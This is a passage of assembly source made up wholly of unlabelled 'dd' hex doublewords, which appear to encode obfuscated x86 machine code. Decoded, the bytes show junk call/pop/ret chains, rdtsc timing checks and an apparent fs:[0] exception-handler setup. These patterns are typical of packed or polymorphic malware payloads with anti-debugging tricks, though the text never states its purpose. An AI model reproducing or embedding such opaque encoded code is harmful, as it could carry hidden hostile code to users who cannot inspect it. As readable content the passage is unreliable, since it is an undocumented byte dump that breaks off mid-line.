0D59D8B00h, 0B8061F20h dd 0 dd 4DB08D8Dh, 0BAB7061Fh, 14DD9D8Bh, 0E1FF061Fh, 0DE8h dd 0D328A000h, 4F2E7163h, 98C6702h, 9D03EDD9h, 61F2C21h dd 7DBD835Bh, 61F13h, 492840Fh, 11E90000h, 34000000h, 5BF8EF52h dd 0A8B04251h, 4581E395h, 3572B953h, 137DBD83h, 0F01061Fh dd 48A84h, 14E900h, 0E6AF0000h, 0CC923AB6h, 3F3071EDh dd 0A6A830Ah, 0BFC366C0h, 858905F5h, 61F1391h, 137DBD83h dd 0F03061Fh, 42886h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1A04h, 0C3574700h, 2FB436D9h, 60D99924h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 5BC35141h dd 0C7DEFDA2h, 80B36335h, 66DE8B4Eh, 8E0FD98Ch, 3, 80FABF0Fh dd 0C90A04E1h, 156840Fh, 6A0000h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 1C0424h, 52420000h, 0BB1478C3h, 2D81FB16h dd 8D29814Ah, 61F16F1h, 0DC1858Bh, 6A061Fh, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 160424h, 57470000h, 28593CC3h dd 0C98533FCh, 33061F2Eh, 1F033DBDh, 90DA8B06h, 3B5DBB66h dd 0FB8B6650h, 0D8B70F90h, 8B006AF9h, 4E8DAh, 3FF0000h dd 0F50001Fh, 1286h, 0E9525000h, 5, 0AEE44C6Dh, 0B7310F7Bh dd 8B585AF3h, 66042444h, 8BDE8Bh, 13E85250h, 79000000h dd 0A570669Fh, 632D90B2h, 219E946Bh, 0D7A1999Ch, 61600178h dd 52310F5Bh, 5E8h, 5D8D8F00h, 5B5B0C51h, 4489585Ah, 8B530424h dd 6A585BF8h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 1B042444h, 45000000h, 9911C355h, 74129B8Ch, 0BE9B8F3h dd 0F7000000h, 8EE6F70Bh, 6AAB3A59h, 95FFB402h, 61F2DE1h dd 0F7816652h, 895B4CC1h, 22B25585h, 0DE806h, 5B410000h dd 0DC8896A8h, 2771FAD9h, 669C64ECh, 0C8FEC781h, 20BE95Bh dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h dd 57470000h, 0DB2F31C3h, 0F3F39DBFh, 0B24D858Bh, 85890622h dd 61F0D31h, 1800C7h, 0FE80000h, 69000000h, 19113B64h dd 795630D2h, 18989307h, 0C6BB80B5h, 5F612D98h, 0B251B58Bh dd 6A0622h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h dd 55450000h, 4E8B91C3h, 1F1FBFCDh, 499D0BBFh, 8B061F2Ah dd 1F13A185h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1804h, 0C3524200h, 108220D4h, 0F1B5096Ah, 89061F0Eh dd 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1D04h dd 0C3564600h, 8B68E787h, 0B440D97h, 858BCB02h, 61F0DC1h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 0CC35747h dd 953AB89h, 1F163DB5h, 0F99D8B06h, 89061F0Ch, 95290446h dd 61F02E1h, 50F98B96h, 8B665250h, 0F310FF9h, 480h, 0ABB6600h dd 96585AC8h, 16899D23h, 0B5FF061Fh, 622B24Dh, 2DD9BD8Bh dd 1F68061Fh, 50F2AE13h, 5A310F52h, 24048158h, 0D70F0E0h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 0CEC35141h dd 0D5A3B0E3h, 0D98E6655h, 8DFE8B66h, 22B25585h, 55006A06h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1C04h, 0C3554500h dd 0D761843h, 7314F0ADh, 0CE88Ah, 0A1050000h, 5535E90Bh dd 241D61C6h, 905FDC97h, 7777BF66h, 10E850h, 60230000h dd 65E11C62h, 0BD81EBC0h, 602C7D02h, 10E814D5h, 0F2000000h dd 37036C3Eh, 0E67CAC98h, 9CA1BC35h, 0BB94F719h, 1F0A0434h dd 8B905B5Fh, 0E195FFDAh, 6A061F2Dh, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 14042444h, 47000000h, 8B17C357h dd 1F23A5BDh, 95896106h, 61F087Dh, 57DB8166h, 7D85C741h dd 3061F13h, 80000000h, 0BD83CEDBh, 622B255h, 62840F00h dd 6A000000h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 1A042444h, 42000000h, 0D7E1C352h, 7CD518B8h, 919D8B79h dd 0E9061F0Dh, 50h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 1Bh, 0B8C35545h, 5B739390h, 0E9B66242h, 7 dd 0E3ADBED4h, 330FAC19h, 1F09D9BDh, 0C305006h, 11440011h dd 10E8C101h, 2114430h, 3114C00h, 4E98358h, 36EBE775h dd 11043050h, 1116400h, 3010E8C1h, 21144h, 58031164h, 7504E983h dd 501BEBE7h, 2810E8C1h, 30031164h, 58021144h, 1116428h dd 83110430h, 0E77504E9h, 0C08B00EBh, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 15h, 86C35747h, 16870FCFh, 51000000h dd 0FE9h, 0BAA49100h, 899F4206h, 0E15118B4h, 6665D00h dd 6AF95Fh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h dd 51410000h, 0D4532AC3h, 29B6C2D9h, 1F0EDD85h, 7DBD8306h dd 3061F13h, 480850Fh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 160424h, 57470000h, 287053C3h, 11A99D8Bh dd 0BD83061Fh, 622B255h, 4F840F00h, 8B000004h, 1F2B299Dh dd 55B5FF06h, 6A0622B2h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 16042444h, 47000000h, 36B5C357h, 399D2B38h dd 8B061F24h, 1F08C19Dh, 0C995FF06h, 81061F1Bh, 727752C3h dd 49B58B58h, 6A0622B2h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 1A042444h, 47000000h, 0A248C357h, 627FBDCh dd 12E855h, 6D880000h, 3656A724h, 0D6530C9Bh, 0C68DEE39h dd 5BE1FAE9h, 5FFE8B66h, 106C7h, 6A0001h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 150424h, 55450000h, 897F9DC3h dd 1F23D19Dh, 0E99D8B06h, 50061F0Ch, 13E9h, 4F38000h, 28FB8F8Eh dd 6946BAE4h, 29A3A4A8h, 3DD0F10Bh, 66243489h, 0B5FFF88Bh dd 622B255h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 1Ch, 10C35141h, 68DAE5Eh, 0FDA25B13h, 162195FFh, 0D381061Fh dd 7052C0CDh, 0B249B58Bh, 12E90622h, 6B000000h, 10F765DEh dd 0E41A509h, 3E97668Ch, 20BF883Fh, 0F1858B47h, 8B061F2Fh dd 1F15A19Dh, 0C4868906h, 6A000000h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 14042444h, 45000000h, 0F75C355h dd 583h, 2A22BB00h, 958B0480h, 61F0B5Dh, 0E852006Ah, 3 dd 5AC35A20h, 4245489h, 4244481h, 1Bh, 71C35242h, 13751C36h dd 0E8F79AF0h, 5, 77106531h, 6D8D0104h, 5F061F2Bh, 6A04C283h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 19042444h dd 43000000h, 0D3B7C353h, 5D3EC5E0h, 16E19509h, 9D8B061Fh dd 61F028Dh, 1205089h, 1F02718Dh, 97858D06h, 8B0622C7h dd 0B88689DEh, 6A000000h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 1D042444h, 47000000h, 0E8BDC357h, 20C72390h dd 7FAE60FFh, 10E9006Ah, 0E000000h, 41B95016h, 2CBE45DAh dd 729D8C1Bh, 0FFDD7211h, 22B255B5h, 56006A06h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1504h, 0C3564600h, 8B6681B7h dd 5595FFD8h, 6A061F2Fh, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 15042444h, 47000000h dd 5162C357h, 7E951h, 0A9840000h, 0AFABC5A7h, 60505B62h dd 10810Fh, 0BE90000h, 0D1000000h, 4C20BEF1h, 0BED4F249h dd 6E9E3ADh, 0F2000000h, 541D511Ch, 34896161h, 57006A24h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1704h, 0C3574700h dd 9A5C2534h, 1C398589h, 90BF061Fh, 0FF1B3200h, 22B255B5h dd 0FD9D8B06h, 0FF061F18h, 1F0E1D95h, 0F65ABF06h, 85895218h dd 61F12D5h, 2C0DBD83h, 0F00061Fh, 4684h, 3DBD0100h, 96061F2Dh dd 22CABF66h, 0F98B6650h, 57006A96h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1804h, 0C3574700h, 394770F8h dd 8E84Dh, 31250000h, 0EBEB1290h, 0FA8BD242h, 19D8B5Fh dd 0FF061F2Fh, 22B255B5h, 0FE906h, 0BBD70000h, 33B8D88Bh dd 0EEF49E71h, 99239E2h, 0AEB8197h, 0FF161A13h, 1F134995h dd 3DC78006h, 0CCDBD8Bh, 0B5FF061Fh, 622B255h, 901BD8Bh dd 95FF061Fh, 61F1075h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 1Bh, 9CC35040h, 8C7FF3C9h, 66828E01h, 0BD83FA8Bh dd 61F0009h, 4E840F02h, 6A000000h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 18042444h, 41000000h, 5DFCC351h dd 8B8DD14Ah, 8BFA8BD9h, 1F175185h, 0F7816606h, 0C6F09Ch dd 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1404h dd 0C3504000h, 9185C734h, 61F12h, 6A000000h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 1A042444h, 46000000h dd 316CC356h, 1818739h, 0CE829h, 0DF910000h, 0D4693A27h dd 0B0DFC42Fh, 8B6636EFh, 8B665FD8h, 10E9F8h, 22C80000h dd 0EA2E528Dh, 5B9946h, 0F0C91B17h, 0A1E92430h, 6AFFFFF2h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1D042444h dd 41000000h, 0FC37C351h, 27687332h, 0EE5FE02Dh, 6AC18Bh dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h, 52420000h dd 0F27677C3h, 0BA5B0BEBh, 0CCDF8166h, 858DFCCDh, 61F19BDh dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 0FCC35545h dd 0FD98B06h, 88Bh, 8D895000h, 61F1FD1h, 8BBF905Bh, 5011E415h dd 0B7525060h, 0BB310F09h, 6C406D0Dh, 0B966585Ah, 9061575Eh dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 15h, 0AAC35242h dd 0F19D8B86h, 6A061F0Ch, 0D7816600h, 0BD8B8939h, 61F24BDh dd 8B66006Ah, 0D3858DDAh, 6A0623CDh, 3E85000h, 20000000h dd 8958C358h, 81042444h, 1D042444h, 40000000h, 4056C350h dd 922D9960h, 262DE595h, 6A05C083h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 16042444h, 42000000h, 9AA7C352h dd 5050FC14h, 895BDE8Bh, 6A2404h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 160424h, 52420000h, 0DE27C3C3h, 8166006Ah dd 6A09D9DBh, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1804h, 0C3504000h, 0B72BCB75h, 0A1BD33A1h, 0FF061F2Bh dd 1F016195h, 6BF6606h, 0F28D8D36h, 6A0622B1h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 1D042444h, 45000000h dd 0A73AC355h, 9F91279Ch, 0F14C48CEh, 0BD8BD1FFh, 61F2B7Dh dd 2B758D29h, 0BD83061Fh, 61F0EF5h, 8C850F01h, 0E8000000h dd 14h, 696F2017h, 0C664AE37h, 1D8AE092h, 0A73AAD1Fh, 9F91279Ch dd 6A026A5Bh, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 18042444h, 42000000h, 0C92CC352h, 8BEC95E3h, 1F1605BDh dd 66579006h, 5B7D39BFh, 0DA8B6650h, 0D19D8B90h, 66061F18h dd 95FFF88Bh, 61F2F55h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 18h, 75C35040h, 1F64CDE5h, 9810Fh, 830F0000h dd 3, 0E9F98B66h, 0D8Ch, 0E8h, 0ED815D00h, 623CDDDh, 6A9AEF80h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 18042444h dd 41000000h, 4580C351h, 816A482Ch, 5DADDACBh, 0E4858D55h dd 6A06228Eh, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 15042444h, 46000000h, 4767C356h, 9E9h, 0E0F31C00h, 0A8EA7025h dd 505039AFh, 8E852h, 87720000h, 0D792A7B0h, 2BB0633h dd 5B1CB72Eh, 0FE8310Fh, 0D2000000h, 0F749CBC3h, 0D4AE67C4h dd 0ECE8D98Ah, 5A5F9DD7h, 24048958h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 1Dh, 0E6C35242h, 0B44DCC72h, 3DF3C73Ch dd 35FF647Ah, 0 dd 258964F8h, 0 dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 18h, 36C35040h dd 685B0103h, 0FFDEB70Fh, 1F102985h, 0E1952906h, 6A061F18h dd 56006AFFh, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1904h dd 0C3564600h, 0F16BEEAFh, 0B5FFBF30h, 61F0749h, 0B810Fh dd 29600000h, 1F202D95h, 0D7BF0F06h, 0ED95FF61h, 0E9061F1Ch dd 0CEh, 0B0DF8Bh, 70E6DA8Bh, 30658589h, 71E4061Fh, 830F613Ch dd 0B6h, 0C8B60FF5h, 32E58D01h, 6BA061Fh, 0F000000h, 683h dd 8DB58900h, 8B061F15h, 0E8C1FCC1h, 0BABF6604h, 0E2F76646h dd 2D119D8Bh, 0C82B061Fh, 0BFD18BF5h, 768900FAh, 77E9FE8Bh dd 8B000000h, 185h, 29B50900h, 83061F20h, 8D8907C0h, 61F13D9h dd 9C99D8Bh, 0C083061Fh, 37BF6600h, 0FD03B95h, 1283h, 5800F00h dd 0BF000000h, 20F3C2DEh, 3DE9h, 8B3BB700h, 0FFFFFF8Dh dd 0C7F9BBFFh, 0E1834D4Ch, 27840F01h, 81000000h, 2E4BF6CFh dd 8DB5895Fh, 83061F12h, 0FFFFFFA5h, 8B66FEFFh, 19589FBh dd 8B000000h, 1F2089BDh, 0E906h, 0B58D0000h, 6234DAAh dd 0C6F78166h, 0A995893Dh, 6A061F10h, 0B5958900h, 0FF061F0Bh dd 1F1D4595h, 0FE8B6606h, 100FB9h, 50006A00h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1D04h, 0C3504000h, 0EA722CE7h dd 8B4FAD12h, 840FD77Ch, 6, 16919D89h, 9589061Fh, 61F1109h dd 6AFCE183h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 16042444h, 41000000h, 2662C351h, 159D8B36h, 0FC061F15h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 19h, 31C35242h dd 0F90C292Ah, 6AC02BDEh, 3E85000h, 20000000h, 8958C358h dd 81042444h, 17042444h, 40000000h, 432AC350h, 14E976F2h dd 0CC000000h, 0E252F918h, 5937CAF5h, 8C334521h, 0E28FFF95h dd 0BA74FD90h, 0 dd 946ABB66h, 0D1C233ADh, 83D003E8h, 0F47504E9h, 820F60FCh dd 4, 2B2CBE66h, 1DE9B58Bh, 6A61061Fh, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 17042444h, 47000000h, 7209C357h dd 0D780C4E5h, 880DB5h, 0B5890000h, 61F1129h, 19C18D31h dd 958B061Fh, 61F0B5Dh, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 18h, 0D5C35141h, 0FD25F7E0h, 19A9E781h, 8A0F6CBDh dd 6, 2491BD89h, 8D8B061Fh, 61F20C5h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 18h, 7FC35040h, 0FAD41E6Fh, 0AD852951h dd 5F061F1Ah, 8BC28B50h, 8BC10318h, 0D1C18B18h, 8BC203E8h dd 8D895818h, 61F15C5h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 1Ch, 18C35242h, 907F678Bh, 6B750430h, 0F8E0Fh dd 0AE90000h, 28000000h, 281AC02Eh, 6743B5EDh, 8DBD8367h dd 61F07h, 0C2840Fh, 6A0000h, 3E850h, 58200000h, 448958C3h dd 44810424h, 1A0424h, 50400000h, 0EA599EC3h, 15B3C6B7h dd 8D0FFE8Bh, 16h, 0AE8h, 0BAC27500h, 2D78F3B4h, 0FCB69BBh dd 81h, 0B85B00h, 6A000000h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 16042444h, 42000000h, 0DFCC352h, 0B08D8D4Bh dd 6A061F4Dh, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 1A042444h, 45000000h, 0F9A8C355h, 2AD04842h, 8969B3C2h dd 1F1C51B5h, 6AE1FF06h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 1D042444h, 46000000h, 37DBC356h, 0CB9BD300h dd 94FA7AE1h, 0E9BD8951h, 5F061F00h, 137DBD83h, 0F00061Fh dd 46E84h, 0EF816000h, 7492C00Fh, 11E8h, 0AB153300h, 0FDA791DFh dd 0CF8BA071h, 798B857h, 6ABB7F48h, 5E0620A6h, 7DBD8361h dd 1061F13h, 458840Fh, 6A0000h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 140424h, 51410000h, 0BF0F97C3h, 7DBD83D8h dd 3061F13h, 3F6860Fh, 6A0000h, 3E850h, 58200000h, 448958C3h dd 44810424h, 160424h, 50400000h, 0A4E8C1C3h, 1019BD03h dd 0B589061Fh, 61F1509h, 50006A60h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1904h, 0C3504000h, 0A6B8759Bh, 8C668092h dd 0BD8D29D9h, 80061F0Dh, 6A04E1h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 150424h, 56460000h, 33E3B6C3h, 1F19CD9Dh dd 0FC90A06h, 14484h, 0D9858900h, 8B061F09h, 1F0DC185h dd 0FEBF0F06h, 2EC98533h, 0BD8B061Fh, 61F1F8Dh, 8E850h dd 0D73F0000h, 0FD411276h, 8E0FA6FBh, 0 dd 2404895Bh, 6A006AF9h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1D042444h, 42000000h, 4C8EC352h, 0F03AFCFFh dd 0B2CCA95Bh, 0CBBC40BBh, 4E851h, 3FF0000h, 0A3BB001Fh dd 50411A73h, 75C892BBh, 24448B39h, 9286BF04h, 8B7332h dd 0B3505250h, 310F5B4Ch, 585ADA8Bh, 4244489h, 52505050h dd 585A310Fh, 66585F5Fh, 85DBEB81h, 2DE195FFh, 6A061Fh dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h, 56460000h dd 89CA79C3h, 1F11B1B5h, 55858906h, 6A0622B2h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 1A042444h, 46000000h dd 29D1C356h, 4D6B3A19h, 13E8E9h, 55230000h, 585DAA84h dd 8C4EE81Bh, 0C3CC8826h, 0CFC89E1Dh, 0F19D8BAAh, 5F061F1Ah dd 1EEE9h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1D04h, 0C3554500h, 0D4C335A7h, 15D5E389h, 960557Dh dd 1F2B7D8Dh, 0B70F6106h, 4D858BFFh, 90622B2h, 1F158585h dd 0C7FC06h, 18h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 1Ch, 0DBC35646h, 34E09C52h, 0C918BC96h, 0F9056BBFh dd 0C1BD8921h, 8B061F0Bh, 22B251B5h, 0A19D0306h, 8B061F18h dd 1F13A185h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1B04h, 0C3504000h, 0CC421558h, 0EEB8ED3Dh, 0B5890689h dd 61F1AC9h, 0DC1858Bh, 6A061Fh, 3E850h, 58200000h, 448958C3h dd 44810424h, 1B0424h, 50400000h, 0B9B32AC3h, 48E18992h dd 35952909h, 89061F1Fh, 0BF660446h, 8B96D254h, 319650F8h dd 1F2A71B5h, 6820F06h, 23000000h, 1F3159BDh, 4DB5FF06h dd 890622B2h, 1F1A7D8Dh, 4E806h, 3FF0000h, 5250001Fh, 870F60h dd 0F000000h, 82h, 310F6100h, 61605250h, 0DA8A310Fh, 585A585Ah dd 0BE850h, 2E640000h, 25B92CC4h, 36A8FB0Fh, 3B77BF75h dd 8B5B1B8Dh, 60042444h, 0B2EC28BFh, 61B7B476h, 14E9008Bh dd 0D6000000h, 1F6F264Dh, 0E727028Fh, 866EEEC8h, 1ECCB5ECh dd 8927CF5Bh, 0B3042444h, 8E95812h, 24000000h, 84D0225Dh dd 8D3A1D47h, 22B25585h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1C04h, 0C3524200h, 0E14682C6h, 1C0E51EFh dd 5840FADh, 66000000h, 1418F381h, 1DBFBF66h, 6A905090h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1C042444h dd 40000000h, 8CEFC350h, 0C9040411h, 0FFAE13ABh, 1F2DE195h dd 0E1BD8B06h, 61061F00h, 0B759D2Bh, 85C7061Fh, 61F137Dh dd 3, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ch dd 2EC35141h, 22CD0322h, 0B578AB60h, 0A4DBD8Bh, 0E952061Fh dd 14h, 6739D1DEh, 0DB30AD4Dh, 0B45155DEh, 22B52220h, 4CF594F8h dd 55BD835Fh, 622B2h, 0E840Fh, 0BD8B0000h, 61F1485h, 1EE9h dd 0DEB70F00h, 110C3050h, 1114400h, 3010E8C1h, 21144h dd 5803114Ch, 7504E983h, 5036EBE7h, 110430h, 0C1011164h dd 443010E8h, 64000211h, 83580311h, 0E77504E9h, 0C1501BEBh dd 642810E8h, 44300311h, 28580211h, 30011164h, 0E9831104h dd 0EBE77504h, 51C08B00h, 11999D8Bh, 6A5F061Fh, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 18042444h, 45000000h dd 4A4DC355h, 83D362A1h, 1F137DBDh, 850F0306h, 3BCh, 55BD83FCh dd 622B2h, 3AE840Fh, 13E90000h, 46000000h, 506D9C35h, 94BF216h dd 5399CE1Eh, 0FD3F598Dh, 0B5FFB619h, 622B255h, 0C995FFFCh dd 6A061F1Bh, 3E85000h, 20000000h, 8958C358h, 81042444h dd 17042444h, 40000000h, 0DFFC350h, 0BB66859Ch, 0B58B61E3h dd 622B249h, 799D8Bh, 6C7061Fh, 10001h, 0E850006Ah, 3 dd 58C35820h, 4244489h, 4244481h, 19h, 8EC35040h, 9789F0F8h dd 890FEBh, 50000000h, 3489D98Bh, 55B5FF24h, 6A0622B2h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 15042444h dd 42000000h, 6335C352h, 8E960h, 63DB0000h, 8FBC7BF9h dd 0B58B0959h, 61F1541h, 2195FF61h, 6A061F16h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 16042444h, 42000000h dd 4C82C352h, 0B58BFCB3h, 622B249h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 19h, 45C35141h, 0F1D1066Bh, 13E9BEh dd 7D1C0000h, 1ADB6C56h, 0CCCA28B1h, 96AE1985h, 13181606h dd 0DE9E5h, 95B20000h, 89CD4885h, 0F4CAA0AAh, 8B719F7Ah dd 1F2FF185h, 0B59D8B06h, 89061F13h, 0C486h, 5D958B00h dd 6A061F0Bh, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 16042444h, 46000000h, 0C16FC356h, 4C28341h, 2FF38166h dd 20508950h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 1Ch, 0ABC35242h, 75EDBB0h, 1F0C877Eh, 46C1D781h, 858D5813h dd 622C797h, 14E9h, 6D601400h, 0B94136CCh, 391C3A0h, 0EDE555CAh dd 0DFA4D4F0h, 29B589D0h, 89061F03h, 0B886h, 4D9D8B00h dd 6A061F1Ch, 55B5FF00h, 600622B2h, 81D2BF0Fh, 303FAAD3h dd 95FF6123h, 61F2F55h, 19958960h, 8B061F2Dh, 1F13DD9Dh dd 0F506106h, 3286h, 12E800h, 11680000h, 36EC5948h, 0F75116A1h dd 0D6963EDCh, 0C6B190A6h, 14E8h, 24D6B400h, 0B28B8556h dd 6EEF3886h, 0A9D1EEF5h, 0BFA1F12Ah, 895B5F03h, 6A2434h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h, 53430000h dd 0C15ACAC3h, 2582DF06h, 0EB8121DAh, 616C254Eh, 0B255B5FFh dd 0BB660622h, 8B604D1Bh, 1F2BB985h, 0FF14B806h, 0FF6114CDh dd 1F0E1D95h, 34C8BF06h, 0BD836AF8h, 61F2C0Dh, 39840F00h dd 6A000000h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 18042444h, 41000000h, 0D3AFC351h, 89CC5898h, 1F139DB5h dd 66565006h, 5B81CFBFh, 0F243489h, 386h, 0D9BF0F00h, 0B255B5FFh dd 0F98A0622h, 30218D31h, 95FF061Fh, 61F1349h, 0F2F6C381h dd 0B5FF6D7Eh, 622B255h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 1Ch, 91C35343h, 48B0A214h, 577C0B8Eh, 107595FFh dd 0BD8B061Fh, 61F0BC1h, 49BD8960h, 80061F0Eh, 836163F0h dd 1F0009BDh, 840F0206h, 53h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 15h, 0C1C35040h, 85896011h, 61F2AE1h dd 13C98D8Bh, 8B61061Fh, 1F175185h, 8B666006h, 6860FCFh dd 3000000h, 1F0ABDB5h, 81566106h, 324754D7h, 0C65F67h dd 99D8B00h, 0C7061F21h, 1F129185h, 6, 57006A00h, 3E8h dd 0C35F2000h, 247C895Fh, 24448104h, 1804h, 0C3574700h dd 42A2FE4Ah, 0FB8B66A3h, 0FFF382E9h, 0ED8589FFh, 8B061F19h dd 7D9D01C1h, 0BB061F2Bh, 3FF20AD0h, 19BD858Dh, 0BF0F061Fh dd 0E890F8FEh, 0Ch, 782B3EEBh, 0C7421E35h, 0FE49B0A9h dd 505BB2B3h, 6A90ACB7h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 1C042444h, 47000000h, 0EFCCC357h, 0B4C04852h dd 0FE70F41h, 9589DFB7h, 61F2CEDh, 8E9006Ah, 3A000000h dd 71108F1Dh, 9F12BFDh dd 1F2BFD85h, 6A006A06h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 15042444h, 46000000h, 738DC356h, 0AE9h, 43376400h dd 0A6138369h, 8D14BD4Bh, 23DD7085h, 0DFB70F06h, 6A05C083h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1C042444h dd 45000000h, 7FE1C355h, 0C25946AAh, 90D62F36h, 0D88B5250h dd 5060310Fh, 5A310F52h, 0D18B6658h, 50585A61h, 11E8h dd 9DF54700h, 9B7EB3A1h, 146F55F4h, 73535750h, 0FE9AB9Bh dd 24000000h, 7B447DAAh, 0E9FFDFD9h, 0D8ED5DB1h, 905FA43Ah dd 2800Fh, 0DDB30000h, 0DB816660h, 61FCC751h, 6A006Ah dd 6800Fh, 95890000h, 61F0E75h, 16195FFh, 6A061Fh, 3E850h dd 58200000h, 448958C3h, 44810424h, 160424h, 50400000h dd 0B593D2C3h, 8D8D4AB3h, 622B1F2h, 16BD8531h, 0D1FF061Fh dd 13E8h, 2576E000h, 0E5992836h, 4E19E5F9h, 0C68E1DB3h dd 9D1B4B94h, 2D559589h, 835F061Fh, 1F0EF5BDh, 850F0106h dd 88h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 19h dd 0F2C35141h, 0F7E1BEC0h, 0DD8589ECh, 0E9061F0Ch, 11h dd 4F6C2A72h, 398E86F0h, 23C802F6h, 0A34B7C7Fh, 60026A06h dd 2840Fh, 59500000h, 5870Fh, 81660000h, 61EB81E7h, 10E850h dd 40C20000h, 0A30A5F1Ch, 468D6EF7h, 5A64023Ah, 6E9D09Bh dd 0C5000000h, 0EBF3F5A5h, 4895B0Ah, 0ED953124h, 0FF061F2Ch dd 1F2F5595h, 0D8B70F06h, 0D37E9h, 0E800h, 815D0000h, 23DD7AEDh dd 0F3816606h, 880FFD6Eh, 6, 0A4D9D8Bh, 858D061Fh, 6228EE4h dd 8BFAB70Fh, 1F18C59Dh, 8B669006h, 0FE950F9h, 6C000000h dd 0BAACAECFh, 804892FEh, 65C51CDh, 6A90CC0Ch, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 16042444h, 46000000h dd 3488C356h, 0EB8166FEh, 0FF64821Dh, 35h, 51006A00h, 3E8h dd 0C3592000h, 244C8959h, 24448104h, 1C04h, 0C3514100h dd 3297CAD5h, 0E9DD6A8Ch, 0DE8A7h, 7B410000h, 9E956524h dd 7218BFF0h, 8BCB185Eh, 1F1DB9BDh, 81665B06h, 64E64BDFh dd 2589h, 0D7810000h, 17021F33h, 102985FFh, 0BD8B061Fh dd 61F31C9h, 6AFF6Ah, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 160424h, 56460000h, 0D028A7C3h, 1890Fh, 66F90000h, 86B1E781h dd 105DB5FFh, 8160061Fh, 912DE2EFh, 0FBBF0F3Ah, 0ED95FF61h dd 0E9061F1Ch, 109h, 0CC9B529h, 0B0061Fh, 0BEC070BFh, 